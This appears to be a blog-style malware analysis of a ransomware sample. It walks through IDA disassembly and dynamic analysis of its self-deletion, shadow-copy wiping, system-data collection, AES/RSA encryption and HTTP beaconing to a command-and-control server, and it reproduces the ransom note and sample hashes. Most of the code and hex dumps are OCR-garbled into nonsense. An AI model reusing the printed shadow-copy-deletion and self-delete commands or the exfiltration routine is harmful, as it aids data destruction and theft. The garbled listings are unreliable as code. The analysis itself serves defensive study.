eoRIEEeaaRIRaary call str_zancat peooappeoaieascy call  Prep_taskkill_command
BORIEOIBARATSL push  edi ; lphem BECRRIBROMGHARC puth esi : lpren
PN EIRADT [ ray wui, wax OKIMAGRASCE call  Free_beap
BB cull Frae_huap HEESHINEEAA AR S add wip, 1&h
BOBILEGEANAEADRG push el 3 int BESHIMAEARN0S rp short lac_dB400E
DOABERGAARAEIDRS push  esl 3 LPCWSTR
BORAEEGGAAIEIORE call  Powershell raller srapper
CODBREEOMRMEIIEE push  esl i lpHen
EOIRREEDIRIE4ABE call Free heap
£O9BEEE0IBIE490] 2ad esp, zBh
BOIBEEADARARA33] frp short 1oc_4@as0e
paz 1t i
AaaSmARAAE] B ARRE

Another way to browse through the code is to use the IDA feature Xref from graph. This can be done because the

sample is not obfuscated, and the windows API calls are been referred explicitly. Using this tool we can guide our

analysis following the Windows API calls of interest

Press enter or click to view image in full size

Well...I said we could use it, not that it was small nor easy ;). However, if we zoom into it, we can have a good

understating of the different functions and have a gist of their purpose. For example:

Press enter or click to view image in full size
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s

Here we see the “ShellExecuteW ”API call (always interesting to see what the sample might try to execute) that is

called right before exiting. If we go where it is called, we end up in the following routine :

&=

; Attributes: noreturn bp-based frame
sub_484AEE proc near

Filename= word ptr -288h

push ebp

mov ebp, esp

sub esp, 288h

lea eax, [ebp+Filename]

push esi

push edi

push la4h ; nSize

push eax ; lpFilename
xor edi, edi

push edi 3 hModule
call ds:GetModul eF i leMameld

push edi ; int

lea eax, [ebp+Filename]

push eax ; LPCWSTR
push offset aCTimeoutT1SNob ; " /C timeout /T 15 /NOBREAK 5& del
call Str_copy

push 1 ; int

push offset asc_d4@7448 ; "\" /F
push gax ; lpString
call Str_copy

add esp, 18h

mow esi, eax

push edi ; nShowCmd
push edi ; lpDirectory
push esi ; lpParameters
push offset File : "omd.exe
push offset Operation ; “open”
push edi ; hwnd

call ds:Shel lExecutel

push esi ; lpMem

call sub_de16c4a

pop ecx

call sub_481144

sub_484AE8 endp

The routine consists of calling the API “GetModuleFileName” with “hmodule” Null to get the path of the

executable file of the current process. Then, it prepares a command line that would look like “cmd.exe open
<executable path> /C timeout /T /NOBREAK && del” <executable path>\” /F”, execute the command and then

exits.
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By looking at the XRef graph we also notice some classic Windows API calls used to send http packets over the

network. If we follow the references we find the following routine :

Press enter or click to view image in full size

masm ; int _ cdecl C2_handler(LPCSTR lpszSeérverName, INTERMET_PORT nServerPort, LPCSTR lpszObjectName, LPCSTR)
f 485808 C2_handler proc near

Buffers byte ptr -284h
dwhiumber0fBytesRead= dward ptr -2Ch
hRequest= dword ptre -8

hinternet= dword ptr -4
lpszServertianes dword ptre &
nserverfort= word ptr  ach
lpszobjectiane= dword ptr 18h
arg_C= dword ptr  14h

push ebp
mow ebp, esp
sub esp, 284h
push b
push esi
Hor esi, esi
push esi

push [ebpearg_C]
push offset aData
€all sul_4833E9

push 1 3 int
push Ak i char
push 20k ; char
push A i lpMem
call Handle_data_structure_?
mow e, eax
add eip, 1Ch
tast b, ebx
iz loc_a@5234
Ha
CE0200DDBRIB510F puzh edi
QOU20DPBPRAR5118 puzh esi » dwFlags
codeceandtdnsill push o5l ; lpszProxydypass
0OO0OOBBONABSIE2 push  esi ; lpszPraxy
Se0a00RRRRIB5113 puzh 1 3 dwAccessType
2085115 push offset szAgent ; "Mozilla/s4.@ atible; MSIE 6.8b; Win"...
eeaeeNaReaiacila call ds: InterdetOpeni
000000030 04A5 128 nav edi; eax
G000 DRDRIB5122 test edi, edi
C9Q200RRRRR5124 fnT short loc 485133
[ e =
S000000000405133
0O00028000425133 loc_405133: 5 dwContext
BR00000008495133 push esi
134 push esi 3 dwFlags
G000000000405135 push 3 3 dwService
BO0EG28000485137 push esi 3 lpszPassword
BAER0REREEIR5138 push esi i lpszUseriame

laaaewaaea-uasns push dword ptr [ehpenServerPort] ; nServerPort
BOA088888048513C push [ebpelpszServertome] ; lpszServerName

BO0EE08A8848513F push edi + hInternet
BE008000804285148 call ds:InternetConnecth
(BEEESOSRR0485148 mov [ebpehInternet], eax
£A00808080485149 test Eax, eax
BREBREEAEEIES14E Jnz short loc_d@5168
| = =
|eepenppRRBAnS16E
| BOR0O0BO0BL051E0 loc_d485168: ; dwContext
| oacoospnondasicn push  esi
Imﬂilﬁl push aeaeandh ; duFlags
|BRGDOBBEBR4AS1EE push o5i 5 lplpszAccaptTypes
| SAR0DPBODBLASIET push esd ; lpszReferrer
SOR0BBBOBBAE51GE push esi ; lpszVersion

|ePODRRREERIBSLED push [ebp+lpszObjectiame] ; lpszObjectame
|0a000B0R0RIBSIEC push  offset saVerb  ; “FOST"

SPPOIBBODBLA51TY puih &ax ; hConnect
CORONDBoNEIAs1T2 call dsiHrtpOpenReguesth
PEPODRREREIASLTE mav [ebpshRequest], eax

Press enter or click to view image in full size
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[PPOBEEBEOBARS13T push
|PROBOGERGEAE5124 push
|PROROEDEORAB5135 push
BBGRAGBE0BAAE1ET push
|PRORIeEaeEUas13E push
imﬂSl!B push
SROBIEe00848513C push
BOOPIORIBRABSIIF push
|evopgoposedas1ae call
|BEOBIODIGALAS14E nov
|BROBOAR0GRIA514D Lest
|BBOBIGO0OBIBS1ME fn:

23

esi i dwFlags

3 3 dwservice
esi i lpszPassword
sl i lpszUsertianc

dwerd ptr [cbpsnServerPort] ; nServerfort
[ebpelpszServertame] ; lpszServeriame

edi ; hInternet
ds:Internetfonnecta

[ebp+hInternet], eax

oA, ax

short loc 405168

[~ T —
| BEAEBIABIRAAS 16R
|BB00000800405160 loc_405160: ; dwfontext
|BEQ0RIaNIRdas168 push esd
161 push 3 ; dwFlags

|BeOaplaRandatles push esd
(DO0O0ODIAINSLIET push esi ; lpszReferrer
|SRCaDNeRRNRE10E push eif 5 lpszVersion
|BO0AMON0N405160 push [ebpelpsz0biecttiane] ; lpsz0bjectiame
|B00O0RORRRMRSIEC push  effsel saVerd POST"
|BDaelDal0adR5171 push an 5 hlennect
|pooeooRRORARs172 call  dsiMttpOpenRequesta

|20000AGRRRIRSLTE mov [ebpshfequest], eax

|BERERAERRAA5LTE push b i lpMen
|BEOOPIRERRARSLTC TSt TN, X

|BRGREROEREAASLTE jnz short loc_4@5154

7 lplpszhcceptTypes

=T
DORIGOIGEIA0E104
OBOGOROBIADS10S loc_4B5194:
DORIEOIERILD510d mav
OBEGBIEDEARSIOA call
BOBRGBIGRIAREINC push
ROREOPRORIARSIND push 3 lpopticnal

BOBOODIODI4BS1SE push offset szHgaders ; “Content-Type: applicationyx-wes-formeur®, ..
PapRepRERRLRslAd call esi ; Istrlena

2EPEOBIOBALRSIAL mav esi, [ebpehRequest]

OBGRROBRLRSIAE push e ; dwHeadersLength

3 dwOpticnallength

DOIE0AMALA51A9 push offset szdeaders ; "Content-Type: application/x-wew-form-ur®™. ..
Iﬂ@m&ﬁlﬂ push esdi 5 hReguest
AOBOBIODILBSIAF call ds:HttpSendRequesti
LOBI0BIOBILO5105 Tt e, wax
LOROODO004061ET dnz short lec_4051(0
[ o = "
BOOAA0B00RMB5 1EY push whu ; lpMen ORI0RIRERRIS1Ce

'a-aaa-amaauunm call

| Free_heap
POABIERIORLNS1EF nov

SNIBBIBNNA051CY loc_4851C9:

| esi, ds:internetCloseHandle| OBaogadeasdasicy xor cax, cax

lmommua;ic; pop een SHGSIBOAIALICE push eax ; dwlantext

SONNO0M8RIRS1CE push edi BRNGNIS0084051C0 push [ 5 duMoveMethod

. B51CT jmp short loc 405284 SIGI0G0084051CD push eax 5 lpDistanceToMovedigh
SUNON0BN0BI051CE push (213 i 1DistanceToMove

SRMRIQGI0RI051CF push esk 5 hFile
SHNEI0RI0R510D Bav [ebpidutlmber0fBytesRead], eax
BOOROGIERIRFIDG call ds;InterretSetFilePointer
BIOREEEERI05109 lea eax, [ebprowtiusherofBytesRead]

REROROGEERIRSINC push aax 3 lpdwhusber0fByteshead
SRIRRaeEaR4a5100 push 1F4h ; dwlusber0fBytesToRead
BAOROERARAAS1ED lea aax, [ohpsBuffor]

SPIORIEREE4E51EE push ax ; lpBuffer
BEI0BIPEERAE51ES push asi ; hFile

BB3BRIBAEA851EA call ds:InternetReadFile

SRIREQeRa4a51FR push ohix ; lpMem
BEIBRIBR083051F] mov esi, eax
ORN0BeEaadas1FE call Free_heap
ORINNQONN04051FE pop oex

BEMEROSD08q51FY test esl, esi

BIOMOBN0A4051FE rov esi, ds:InternctClosesiandle
BRIGBMO00AD5201 push edi 5 hInternet
(BEROGIERAA5282 Jnz short loe 405214

By exploring this routine, we see that a post request is done. But now the question is what information is been

sent. In the next section we are going to find out exactly what is been sent via the post http request.

Get Leandro Velasco’s stories in your inbox
Join Medium for free to get updates from this writer.

Remember me for faster sign in

In order to fast forward the analysis, confirm some hypothesis, and discover new functionality, we will start the

sample in the x32/64 debugger while having Procmon and FakeNet running next to it to get more insights.

Dynamic analysis

Now that our ransomware is running in a controlled environment we can see in more details how the different

commands and processes are been killed by it.
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jcanhost. exe (4636)  |Console Wind,

—[Eiema axa (420) Wwindows Co..
Edconhost.oxe (4104)  Consola Wind...
EIWMIC exe (4476) W1 Comman..

PNC Windows!sysiem32conhe
omd IC wmic.6x6 SHADOWCOPY DELETE /nointoractive
77C\Windows\systom32iconhost.axe Odiiifl -Forcov'l
wmic axe SHADOWCOPY DELETE Momteractiva
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Econhost.exs (4496)  Consola Wind...
' vasadmin.oxe (3376) |Command Lin
[=B¥emd.ox0 (984) Windows Co...
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DESKTOP:
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Let’s continue where we left trying to understand what is sent to the server over an http post request. In the
following screenshot we can see how the IP and Port are decoded from the string stored in the “.rdata” section of

the executable.
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Once it has that information the malware will start preparing the request. This means setting up the headers and
the content that will be sent. Once done it will call the API call “HttpSendRequest” to send the http request. Using

FakeNet we received that request and respond with a fake site to emulate the “C2”.
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As the picture shows the ransomware sends a big blob encoded in base64 to the c2 server at
“http://217.8.117[.]26/gateinfo”. But where is this information coming from? For this we need to go back to the

code an analyse what happened so far.
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gpgoeospaR4041aF
fpoogoopae4041ar
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ggageacoacdad1eF
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gpgoeoopae4a41arF
fpoopoooae4041ar
depooocboo4edlle
fbBopespER484112
opoPeoeneR44115
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fdegoopanooaa4117
fegeeegeaade4118
opooeoooee484110D
200000200040411F
dedooaaeooaedl124
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degooooboa4a412C
fpBopespBR4e4131
cpoeeoopeR44133
spoopoeaae4a413e
depoooano04a413B8
fe0ees0a042413E
Spoopoooee4n4143
2000000000404146
defooaaeoo4e4148
fpoeB0eeae40414E
fpooooepee404153
depooooooo4a4155
soaoeosoeR484156
opoPRoepeR44158
SpaoBoReae40415E
fdegoooaeon484163
fpa0e080ee404165
SpooBoooee48416A
SpoopoooeR4n416B
dggoaoapoaadlie
epooeoeneR404172
fpoopoooee44173
gogogooene4e4174
sogoeosoeR484179
spooeoeneR4417B
spacpoeaae4417C
degoooaeoeaa417D
fggege0080424182
Spoopoooee404183
opoopoRDeR4n4188
degoaoanooaa4189
208000008042418B
fpgoooeaee40418C
2880000000404191
sobaoeosoee484194
spgeeospeR484195
2p8000e08040419A
degoooaao0aa4198
fegogegeaad4a41a0

: int
Gen_json_with_data proc near

var_18= dword ptr -18h
lpMem= dword ptr -14h
var_18= dword ptr -18h
var_C= dword ptr -0cCh
var_8= dword ptr -8

var_d4= dword ptr -4

1pstring= dword ptr B8

arg_4= dword ptr 8Ch

push ebp

mov ebp, esp

sub esp, 18h

push ebx

push esi

push edi

call Get_HW_profile hwid

moy ebx, eax

call Gen_token_?

push [ebp+lpString] ; lpString
mov edi, eax

mov [ebp+lpMen], edi

call Unicode_to_ascii

mav esi, eax

mav [ebp+var_18], esi

call Get_current_os_regkey

mov [ebp+var_4], eax

call Get_username

mov [ebp+var_8], eax

call Get_computer_name

mov [ebp+var_C], eax

call Get_locale

push 8 ; int

push ebx ; LPCSTR
push offset aHwid O "l d A"
mav [ebp+var_18], eax

call Append_str

push 1 ; int

push offset aToken ; "\",\"token\":\""
push eax : lpString
call Append_str

push 1 ; int

push edi ; LPCSTR
push eax ; lpstring
call Append_str

®Or edi, edi

inc edi

push edi ; int

push offset aUserdd ; "\",‘\useridi”:\""
push eax ; lpstring
call Append_str

push edi ; int

push B ; int

push eax ; lpMem
call sub_48337F

add esp, 48h

push edi ; int

push offset aBuildid ; “\",\"buildid\”:\""
push eax ; lpString
call Append_str

push edi i int
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8p0PeREeRR4841A1 push 17h s int
28000000004841A3 push eax ; lpMem
28008200004841A4 call sub_4@337F
808000000040841A9 push edi ; int
28800080004084184 push offset akxt X
2000008080404 1AF push eax ; lpstring
fegeooopaRaR41Be call Append str

In this function we see that there is a template for a json file were some details about the system are gathered and

later appended to the json temple string. Examples of details that are gathered include but are not limited to:

e GetCurrentHwProfileA

e Gen_token (some crypto API calls are involved)

e Query the registry key “SOFTWARE\Microsoft\Windows NT\CurrentVersion”
¢ GetUsername

¢ GetComputername

e GetLocale

e Etc.

Once it finished querying the system it generates a json that looks as follows:

Press enter or click to view image in full size

After the information is gathered, we see that some encryption is initialised (creating encryption keys, specifying
algorithms, etc) but some of the information used is queried from a file that was written in “%temp%\\boot.sys” in
an earlier stage. The most interesting aspect of this, is that the information is not read from the file itself, instead it
queries the file using the convention “filename.ext:string”. This means that this ransomware is using Alternate

Data Streams to hide information. Using the ADS-spy, tool we can inspect the content that is been read by the

malware.
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Hidden in this file we can find the generated unique extension, the RSApublic key, and the Private Session Key.

Once these values are retrieved the encryption of the json string takes place.
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P
0ae0000020404FBC

0B20020020404FBC loc_404F8C: 3 hKey
©220000000404FBC push [ebp+phKey]

0000088080404F8F call BCryptDestroyKey
0080088088404F94 push 2] ; dwFlags
0000000BB04B4AF96 push [ebp+phalgorithm] ; hAlgorithm
/200200880484F99 call BCryptCloseAlgorithmProvider

©220000000404F9E mov esi, [ebp+lpString]
0000000080404FA1 lea eax, [ebp+pcbResult]
8080088080404FA4 push 1 ; dwFlags
2000002000404FA6 xOr ecx, ecx
B2e0000880404FA8 push eax ; pcbResult
©000002000404FA9 push ecx ; cbOutput
0080088080404FAA push ecx ; pbOutput
0080088088404FAB push 16h ; cbIv
BO8088eeeR484FAD lea eax, [ebp+pbIV]
B200020080484FBE mov dword ptr [ebp+pbIV], ecx
©000002000404FB3 push eax ; pbIV
0080000080404FB4 push ecx ; pPaddingInfol

B5 push esi ; 1pString
B000000080484FB6 mov [ebp+var_38], ecx
B000800020484FBY mov [ebp+var_34], ecx
8020088000404FBC mov [ebp+var_3e], ecx

BF call ebx ; lstrlenA
0020088080404FC1 push eax ; cbInput

;
B000800080484FC2 push esi ; pbInput
P000800880484FC3 push [ebp+hKey] ; hKey
€6 call BCryptEncrypt
0000080080404FCB push [ebp+pcbResult] ; dwBytes
0ae008eRRR484FCE call Get_heap

2000002000404FD3 pop ecx

B000800880404FD4 push 1 ; dwFlags
0220000080484FD6 mov ebx, eax

0680000080404FD8 lea eax, [ebp+pcbResult]
eaeeeeeeeede4FDB push eax ; pcbResult
0000800080484FDC push [ebp+pcbResult] ; cbOutput
P000800080484FDF lea eax, [ebp+pbIV]
©000002000404FE2 push ebx ; pbOutput
©080088080484FE3 push 10h ; cblv

00000000804B4FES push ] pPaddingInfol
P200800220404FES push esi ; 1pString
©0000000000404FES call ds:1lstrlenA

H
j

000000BEEOIGFES push  eax ; pbIV
3

00302880804R4FEF push eax ; cbInput
6080088088484FF8 push esi ; pbInput
0000800080484FF1 push [ebp+hKey] ; hKey
P200800RRR404FF4 call BCryptEncrypt
P220000080484FF9 xor esi, esi
0080280080484FFB push esi int
00000000E0404FFC push  [ebp+var_20] int

H

H
B000800080484FFF push [ebp+1pMem] ; int

H

H

Pagoaeeea405082 push [ebp+pcbResult] int
©000002000405005 push ebx 1pMem
©080000080405806 call sub_4@1047
0000000000405008 mov ecx, [ebp+pcbResult]
£00000800040500E mov edi, eax
eecoeeees0405e1e add ecx, [ebp+var_2@]
00B00800004050813 push [ebp+1pMem] ; lpMem
08308880804085816 mov [ebp+cbBinary], ecx
@e@eeeeee0snse19 call  Free_heap

1E push ebx ; lpMem
Pa00800R8040501F call Free_heap
©020000000405024 add esp, 1Ch
0ea08800804085827 push [ebp+hKey] ; hKey

A call BCryptDestroyKey
00A00ARRB040582F push esi ; dwFlags
Pagoaeeeae405038 push [ebp+hObject] ; halgorithm
00e0000000405033 call BCryptCloseAlgorithmProvider

038 lea eax, [ebp+cbBinary]

6080088080405838 mov [ebp+var_2C], esi
0OREeARRE040583E push eax ; pechString
DOAAAOAADAAAREAZIE Tas anw Fahnaivran 201
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COMROMBIMO0N o abz, da:lutrlesd
CHRRHRRMMOOS Les #ax, [ebpecbinpatt]
ean ; pekinary
BODMINNMBLIC Les  eak, [ebpepbIngut]
o 1 di

; dnt
offset Publ letey REAP ; "ULIBAGAMALIDARAAS
cbinput], edl

un— i lestring
CODMRODRIMOIR call  wbx ; letrlens

FODNOINBIOID push  eax i cehstring
BODMMOMMIMOEE push e } pszStrieg

P0DOMBDBMBOEF call  Basedd_decode
PODOMODIMBLOFS add  esp, Lo

T eaw, eax
COMONRDLEFS Tz short loc 404E1%

esl, esi
eax, [etpephiey]
est :
ferpechinpur]

[CHRBOENALBIELT push  [ebprpbingut ] bt

L phitey
|COROMSMEZE puth  affiet aRsapsslicsleh ; “ns
i i hmperthey
[ebpephdigoritha] § halgoritha
BCryptimporsieyPair

eax, R
shert loc HMELD

40
PIDINDOABAD Loe_304L4D; i Jpren
SRORDIIRIMEAD push  [abpepblngst ]
MONDMMELS call  Free_heap

2ah
FNODMIDMMEST call  Get_beap
e

CHIDDRONNMBLELD Do e

CRODROOBBSEY puik I

CHDOOMEL puth 120

PRI T 2 edi, eax
wdl

el
BODMADDMBLEEE call  BCrypTGenkandon

N, ean
BODEIIONMALEED Sns shart loe 404098

[ 7 —

N R E)

DOMOMIRLEN 1o LIMED: 5 daf laps
BOMOOMNINALSN path  #il

COMMOBNINAIG sk mad iz Tmplenentat oo
DORVOONNINLGE pank  offaet ke 15
!

The json string is encrypted with AES CBC and the symmetric key encrypted the with the public RSA key. In the

following screenshot we can see the json string in plaintext and then encrypted.

Press enter or click to view image in full size

w e e sy 1209w ocaesaimesoco omne T
s 4 e TN 1 BTN 1 ASIONDN L
" r T Tush wdi xB7Cw b 1 xB7Cwim 1 wB7CMAC O (Round weard
o o5t san XTCHPC 2 (Realt)
18 5 @ rr pe CEIY 7938307752800 eIz AGR 18020 030C4
5o g1
8 6
5
SE
5
g (Round wear)
55
i e
1 EE 7
| 0tB84116 80 a5 ptr ss:fiebp- L
o< >
7938500077 I 2000001606752 4de LA 1S, COREDAT
38 Ssans waris

| addrass
7 nubvhe
OaA3FaS | 76 5|20 85 3 [
OaASFES | 38 18[36 33 &
00AsF478 | 20 59|61 68 71 63
S7488 | 34 58|67 €1 GA 4544 67 45 17
caxirs | 76 62 7056 51 4K 33(44 38 Ta 50
0asrdas | 71 37 62 63 37 €9 73 38|30 00 0a 12
OaAseass | 26 72 65 €422 3x 32 38|22 3¢ 17 62
asraca | 75 64 22 322 37 33 22(16 22 63 78
deiis (55 R F g
irics |36 HEREE S L £RLUrn K2 70387 700eeTAIE N2 4011628, GORSDTHS. From T930SedsI7I2nse00 EeD
WSFE08 | 22 73 65 726k 61 60 ss|n 318
3F318 |45 71 69 GE |70 63 GE 61|60 55 22 A
uSrs2s | 22 54 4F 50\20 32 43 33|40 31 48 dF
asES3s | 23 1% €570 23 3 1237 30 B &
ASFELS | i 57 36 3 a5 3659 a3 & 56
ASFS38 | 60 3185 &7 70 45 65 43/6c 73 18 g€
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H £ s 06 00 00 Eall £7i3Eses 73 ane0036eh 82000 18028 BETYBERCTY LS |
em——————— 76 {30 it 1251 ™
H W 75 60 Pan deord g
: w78 B i B
. e fush dword I
53 push b« 9 &[] velockes
i 3¢ <o e b Gl THiasedT 55067624d028028, 881047 1
5 i i3 mov ecx.dword pr 55 :Ee0p 150 3
3
EE i
3 rsarry a3 3
i
H L
i
omo1  (Houmz EHoumed G owo 2
adiress [nex
G T T 8760 40 40 Fc[EA OE 1D
e |§4i tEnEeng
00ATF330 | 3¢ s 52 € 76 5
ATFai0 3¢ 7 o: FE 0
S0arvas0 e 1 44
T30 |57 &
o gagiaig
aress0 13 78 it £
3 o7 z¢ 1
0 i 76 35
eoMirses & o1 a8
300 oc 5 *
Qoairaes &5 & 1
paTrare :gg d IE | return to 7958500977 3200000 60676 4ce L0R2, COBASIE fFrom 7938502977 J2nea0036e6
ouaTPAID i 5L
e |7z 3
ATFALD o2 ¢
0ATFAD b3 o
g i & Scidh | zuonn
00ATPAZD | < 50(53 a1 ¢
ATFASD 3o 4914 ot 4 ¢
0ATFASQ 3 £ A7 ot H
B egREE AR AR A:
B0aTEAcD o #2(51 26 o2 |B
gaurend | l 8 ¥ gz @ o8 )

After encryption, the json is base6 4encoded and then added to the http post request as already shown.

What about the file encryption? After all, this is a ransomware, right? So once the first beacon is sent to the server

the ransomware starts the file encryption in a multithreaded fashion. This can be seen in the following screenshots:

apaeeeeeea4e2786 push offset szObjectName ; "gateinfo”
@0a080a080402788 mov [ebp+lpMem], eax
gogeeeeeea4e278E call Prep C2_Wraper_ ?
@pgeeeeeeR4e2793 add esp, 44h
apaeeeeeea4e279s push ebx ; lpMem
@eaeaReneade2797 call Free_heap
B000e0enea4a279C pop BCx
gogeeeeeeRae279D lea eax, [ebp+SystemInfo]
fpaeeeeeeadqe27aAe push eax ; lpSystemInfo
apaeaeeeeade27aAl call ds:GetSystemInfo
@Pa08080804027AT7 mov eax, [ebp+SystemInfo.dwNumberOfProcessors]
20000000204027AA xor ebx, ebx
@ogeeeeeRR4R27AC lea edi, [eax+eax]
apaeaeeeeade27AF push edi ; NumberOfConcurrentThreads
@eaeaRaeea4e278a push ebx ; CompletionKey
@paeaeaeea4e27Bl push ebx ; ExistingCompletionPort
gogeeeeeea4e27B82 push BFFFFFFFFh ; FileHandle
20808000204027B4 mov [ebp+nCount], edi
apaeaeeeea4e27By call ds:CreateloCompletionPort
@0808080804027BD mov [ebp+CompletionPort], eax
20808080804027C8 mov esi, ebx
gegeoeeReRd4a2iyC2 test edi, edi
apaeeeeeea4e27cd jz short loc_4827ES
= , K ]
B00080e0eB4B2TCE
f0g0eeeeeR4827Ce loc 4827C6: ; lpThreadId
gogeaeeeee4827Cce push ebx
aoapaeaeaeaa2vCcy push ebx ; dwCreationFlags
@eaeaeeeas4e27C8 push eax : lpParameter
apapaeeeae4e27Cce push offset StartAddress ; lpStartAddress
gogeaeeeee4827CE push ebx ; dwStackSize
aoaeaeeeae4a27CF push ebx ; lpThreadAttributes
aoapaeeeae4a27De call ds:CreateThread
2080808080402706 mov [ebp+esi*4+Handles], eax
feaeaeena4a27DD inc esi
20808000004027DE mov eax, [ebp+CompletionPort]
aea0a000804827EL cmp esi, edi
@eeaeesas4e27E3 jb short loc_4827C6
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e . T
G2R0eE00RR4a29BR push edi ; Context
Ba2AE8808B482981 push offcet sub_4@1FDT ; Function|
A0BO000BR482986 mov [edi+BCh], eax
B02ER000RR482989 call ds:QueuelserborkIten
AEBAODE0BRL829BF push esi + lpMem
AOBOADA0RR4229C0 call Free_heap
BOBBEE00BBLEIOCS push [ebp+1pMemn] + lpMem
AeBeA000884829C8 call Free_heap
BEBBEE00RBLE29CD pop ecx
BODO0000R4825CE pop ecx
BOL08800RR4829CF jmp short loc_482809
s f
P
BEB3E00BBA182 300

0P00000020402909 loc_482909:
PEE020DBA4A100Y cmp
PE0000082848250F ja

dword_48Cess, ebx|
shart lac_482901

== @=E
daoBeaaRBRda2501 BOB0EAABR4E29E] push [ebp+hkey] 5 hkey
BEAEEERRRAA2001 loc_482901: ; dwiilliseconds| eaeenaaanndaroed call BCryptDestroyKey
0808E00808482501 push i BEEOBE0EPRLE29ES push ebx ; dwFlags
2epEEE0RER4829D3 call ds:Sleep BAPRREAABRI829EA push [ebp+hAlgorithm] ; hAlgorithm
BEBRRIA00A4829ED call BCryptCleseAlgerithmProvider
BA202EA00B4829F2 mov edi, [ebp+CompleticnPort]
BE00ERAABRLA29FS push ebx 3 lpOverlapped
BOBBR00004829F6 push offset sub_482015 ; dwCompletionKey
BABREAABB4829FE push ebx ; dwhumberdfBytesTransferred
BOEBBAA0004829FC push edi ; CompletianPort
BABBBAABB4829FD call ds:PostQuevedCompletionStatus
BE00R00H0482483 mov esi, [ebpnlount]
BAB0R000004082406 lea eax, [ebp+Handles]
BOB0RE008848248C push @FFFFFFFFh 3 dwMilliseconds
BEERRR00004824ABE push 1 ; bWaitall
BABREA0ABA4E 2418 push eax ; lpHandles
BE0080008482411 push esi 3 nCount
BABRRE0ABB482412 call ds:WaitForMultipleobjects
B900B8000048 2418 test esi, esi
BABORBOAODIBZALA mov esi, ds:CloseHandle
DEPRBAERRLBZAZe 2 short loc_482436
= a ]
|0PRO0BERRa402A22 mov edi, [ebp+nCount]|
T
P =
BHa80BE008482425
POAAOREARRIR2A2S loc_AR2A2S: ; hobject
BAGGBBEE884B2425 push [ebp+ebx*d+Handles]
BAABOREA0848242C call esi ; CloseHandle
BAGBOREAAR4BIAZE inc abx
BO0OODEO0R402A2F cmp ebx, edi
BaapppeaaRde2A31 jb short loc_4@2825
T
P = |
BOa6008068402433 mow edi, [ebpi{ampletionPnr‘t]I
s
@ ==
BO00B000BB4824A36
SODDREEOBBAZAIE loc_482A36: ; hobject
BO0B08006B482A36 push edi
D0BDRE0EBB4BZAIT call esi ; CloseHandle
GOOD0EERBB4AZA30 pop edi
B000EE0088482A3A pop esi
BO00880008482A36 pop ebx
V060RA0088482AIC leave
020800008482A3D retn
BO0DEE808B482A3D Start_encrypt_1_7? endp
H0B0BE00BR4aZAID

Press enter or click to view image in full size
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Ea=

GEGBIREORIATRIA
PEBIRABRGAATALA
BROBISI000A0 101N
GROBIG0GIG4020LA
CEOBAREERGIATOLA
OEABINEORAAATRIA St
LR T T
GROBIG0GI040 LA
BROPOREERGIBTIRLA v
SEOBIBE0RIAA281A [o
SROBIGIORA4A201A 1p

artAddress proc near

isberGfBytesTransferreds dword ptr -BCH

ipods dword pre -8
nkey= dword ptr -4
readPsrameters dword ptr &

GHOBIGIB040201A

BROBOGOORO4OINIA push  ebp

EEOPEEE0EEIATRIE mav cbp, esp

SISNIRISNEIN2810 sub exp, dch

SUOO0B0S00A02020 Llea waix, [ebp+lverlapped]
SROMGIGE4A023 push edi

GROPARAARALATRRS push @FFFFFFFED : dwiilliseconds
ROBIRAARAIA282E push wan i Ipoverlapped
SROBS000I0I0ET lea eax, [ebp+lompletionkey]
BROBMGOOMIAIRA push oax i lpCompletionKey

BEOPARIERGABINIE loa cax, [ebpifiusborDfBytesTransferred]

SEGBISRRA4A82E push ean i lphNumberofBytesTransferred
SRORIGIOMN4002F push [ebo+lpT ; CospletionPort
BRODDG000402032 call ds Gty LU
SEOBIBOBRAIAINIE mou % -
BRGPIRI0EE402030 Jmp short loc_sB205E
e i
ORRORRORIRZanE
OROBRD0NE0205E loc _J40205E:
MONOBIOODE0IRSE Bov enx, [ebpeCospletionsey]
ROROBIBRORIRIRE] cap eax, edi
AONOPIANRLAZ063 nz short loc_d@2a3f
T — ! -t — : —
RORIBIGINI0I0IF CODeNOBBMN0ES push a i lpiverlapped
COODDGIO000203F loc_AB2O3F: COBIONMINARAGT push edi i dwCospletioniey
SROBOBEGDGAEI03F push [ebpsdverlapped] COGROLAGANAZAEE push a ; dulusherOf@ytesTransforrod
SECBE0ERa4A2842 push [ebpstiumberofeytesTransferred] BppRapasdedRlaes push Ip er] ; CompletionPort
SROBISN0N0IA2045 call ean SHNIOUONINIDNED call s letionStatus
SROBIBIGINA0204T push #FFFFFFFFh i deMillizeconds COBIIMMINANRATI Kor AN, Bax
SRGMIGRANE4AIE4T Llea eax, [ebp+Overlapped] DRBPARADRRIAIATS pop edi
BRAPIREEERIAT0AL push ean ; Ipoverlapped BORIERAPARIEIATE leave
SHOBIBIOBBANINAL Lea eax, [ebp+lompletionkey] ERSISUOBIBARIAT? retn 4
SROBIBIGIOIDI0ED push wax i lplompletionkey COGIGIOMINANRATT StartAddress endp
BOOROBOR0SI020851 Lea eax, [ebp+iusbor0fBytesT red] CORRGNANRIA20TT
BROBIBROEO4ATE5S push cax 3 lphumberofBytesTransferred)
SRIBIBIOBIAN 2RSS push [ebprlpThreadParameter] ; CompletionPort
SRORIBIGIA005E call ds i GetQuevediospletionStatus

Once it finished it sends yet again another beacon with data to the server but this time to
“http://217.8.117[.]26/gatedrivers”. In the following picture we can find an example of a ransom note that is left

in every directory. The name convention for them is “<extension>-decrypt.hta”

Press enter or click to view image in full size

[ B Tkbd b Deoryer
ZUKMYh Decrypt
All your data has been encrypled with Exorolst Ransomware.
Do Aet wiarry: Y64l have seme heurs be contact us and decrypt your data by paying & ransam.
To do this, fellow instructions on this web sie: hiip:V217.8.117 28 pay
Also, you can install Tor Browser and use this web site: hitp:Sdnd 2utjsmmzzesh, onlon/pay
IMFORTANT: Do not modify this file, olhersise you will not be able to necover your datal

Your authorization key:

So this will be all for now, there are quite some more interesting aspects to research into like how the file
encryption is performed at a cryptographic level, how are some of the other interesting strings (powershell get
host by address) used, does this ransomware implement persistence mechanisms, etc. Feel free to contact me for

comments and questions. Constructive feedback is always welcomed!

IO0Cs

Samples:
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ch/sample/@27d99aaaab803a07d07cebbalfab6964388129d3b26dcf8621a3310692b0ab1/

https://bazaar.
https://bazaar.
https://bazaar.
https://bazaar.
https://bazaar.

MD5:

abuse

abuse.
abuse.
abuse.

abuse

.ch/sample/a7e27cc38a39ff242da39d05e04b95ea9b656829dfe2e90e8226351da8813d7d/

ch/sample/8d684a790a5683b8decde9fb5a819c4a164d3032723a151a30ff26d3c2blaabf/
